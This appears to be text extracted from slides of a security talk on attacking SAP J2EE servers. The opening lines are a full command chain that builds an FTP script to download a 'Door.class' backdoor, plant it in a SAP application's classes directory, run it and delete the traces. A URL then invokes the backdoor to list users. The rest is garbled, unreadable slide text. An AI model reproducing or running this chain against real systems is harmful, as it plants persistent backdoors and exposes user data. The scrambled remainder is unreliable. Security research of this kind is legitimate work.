CMDLINE=cmd /k echo mget Door.class>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo bye>> 123.txt,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo FTP -v -i -s:123.txt>> 456.bat,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo move Door.class   $sap_dir\\SM1\\DVEBMGS00\\j2ee\\cluster\
\server0\\apps\\sap.com\\*******anyapp***  ****\\root\\WEB-INF\\classes\\com\\sap\\ >> 
456.bat,WORKDIR=$sap_dir", 
CMDLINE=cmd /k echo del 123.txt >> 456.bat,WORKDIR=$sap_dir", 
CMDLINE=cmd /k 456.bat,WORKDIR=$sap_dir", 
CMDLINE=cmd /k del 456.bat,WORKDIR=$sap_dir", 
 
$url/?param=com.*********.Door;GETUSERS;FILE=bla_$random_number"); 
!!. 

D366567,.!,%$BB&6=*,,,



A;E.,

+2)*%&6F%$B, ;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*, XXX,



-@,!A%91{!

+2)*%&6F%$B, XX:,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

X[[X!-@,!N=9;:!<3!P%.()0!4)=0!



-@,!A%91{!

+2)*%&6F%$B, XXI,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

X[[X!-@,!N=9;:!<3!P%.()0!4)=0!

X[[`!@E@,!E/.O5%%9:!<3!J/9=/0%!



-@,!A%91{!

+2)*%&6F%$B, XXK,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

X[[X!-@,!N=9;:!<3!P%.()0!4)=0!

X[Z[!:';G0)'B:'3D)!-@,!S%91!<3!@D)G/05)9!,%D3/O%>!

X[[`!@E@,!E/.O5%%9:!<3!J/9=/0%!



-@,!A%91{!

+2)*%&6F%$B, XXR,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

X[[X!-@,!N=9;:!<3!P%.()0!4)=0!

X[Z[!:';G0)'B:'3D)!-@,!S%91!<3!@D)G/05)9!,%D3/O%>!

X[Z[!@E@,BS%91!.%0.)2'!<3!*9';0H/!@:(/D!

X[[`!@E@,!E/.O5%%9:!<3!J/9=/0%!



-@,!A%91{!

+2)*%&6F%$B, XXT,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

X[[X!-@,!N=9;:!<3!P%.()0!4)=0!

X[Z[!:';G0)'B:'3D)!-@,!S%91!<3!@D)G/05)9!,%D3/O%>!

X[Z[!@E@,BS%91!.%0.)2'!<3!*9';0H/!@:(/D!

X[ZZ!Y)S!-@,%./D32:)!S%91!

X[[`!@E@,!E/.O5%%9:!<3!J/9=/0%!



/4&C,5**3+*S,

+2)*%&6F%$B, XXU,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-@,!:)9>)9:!=0!:)/9.(!)0H=0):!



/4&C,5**3+*S,

+2)*%&6F%$B, XXV,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-@,!:)9>)9:!=0!:)/9.(!)0H=0):!

@;'(!<32/::!>;D0)9/<=D='3!=0!PX**!



/4&C,5**3+*S,

+2)*%&6F%$B, XXW,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-@,!:)9>)9:!=0!:)/9.(!)0H=0):!

+K"!.%00).F%0:!'%!@E@,!S='(!2%S)9&;D!.9)5)0F/D:!

@;'(!<32/::!>;D0)9/<=D='3!=0!PX**!



/4&C,5**3+*S,

+2)*%&6F%$B, X:Y,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-@,!:)9>)9:!=0!:)/9.(!)0H=0):!

+K"!.%00).F%0:!'%!@E@,!S='(!2%S)9&;D!.9)5)0F/D:!

6)&/;D'!2/::S%95:!=0!@E@,!

@;'(!<32/::!>;D0)9/<=D='3!=0!PX**!



/4&C,5**3+*S,

+2)*%&6F%$B, X:X,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-@,!:)9>)9:!=0!:)/9.(!)0H=0):!

+K"!.%00).F%0:!'%!@E@,!S='(!2%S)9&;D!.9)5)0F/D:!

6)&/;D'!2/::S%95:!=0!@E@,!

h!-@,%./D32:)!

@;'(!<32/::!>;D0)9/<=D='3!=0!PX**!



!C&7+,X,

+2)*%&6F%$B, X::,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

7%%HD)!(/.O=0H!:./0!&%9!>;D0)9/<D)!PX**!(%:':!



!C&7+,:,

+2)*%&6F%$B, X:I,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

*G2D%=F0H!PX**!(%:':!/05!;2D%/5=0H!'9%C/0!

4)9)!S)!./0!S/='!&%9!/!D%0H!F1)!;0FD!9)/D!
/W/.O!<)./;:)!</.O5%%9!=:!>)93!:')/D'(3!!



!C&7+,I,

+2)*%&6F%$B, X:K,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

$<'/=0=0H!/DD!=0&%91/F%0!/<%;'!+K"!.%00).F%0:!



!C&7+,K,

+2)*%&6F%$B, X:R,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

"9)/F0H!</.O5%%9!;:)9:!=0!2S0)5!!PX**!:3:')1:!



!C&7+,R,

+2)*%&6F%$B, X:T,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

+)2)/'!



#2$NC,X,

+2)*%&6F%$B, X:U,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

.(/0H)!>)05%9!</0O!/..%;0'!0;1<)9!'%!3%;9:!

&/:'!1%0)3, ;&*(,C$,N6=,



#2$NC,:,

+2)*%&6F%$B, X:V,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

$<'/=0!KQ!=0&%91/F%0!<)&%9)!2;<D=./F%0!/05!2D/3!%0!-'%.O:!

4/95!'%!y05,
6++=,C$,%'+&2'(,

36=+2*C&6=,P3*56+**,
$2,*+'',&%%+**,C$,

P&%>=$$2,



#2$NC,I,

+2)*%&6F%$B, X:W,;D#!%&6,G,56?+*C,56,*+%325C(,C$,*+%32+,56?+*CB+6C*,

-)DD!=0&%91/F%0!/<%;'!.%92%9/')!:).9)':!'%!.%12)F'%9:!

E=H!1%0)3,
0))5!'%!O0%S!
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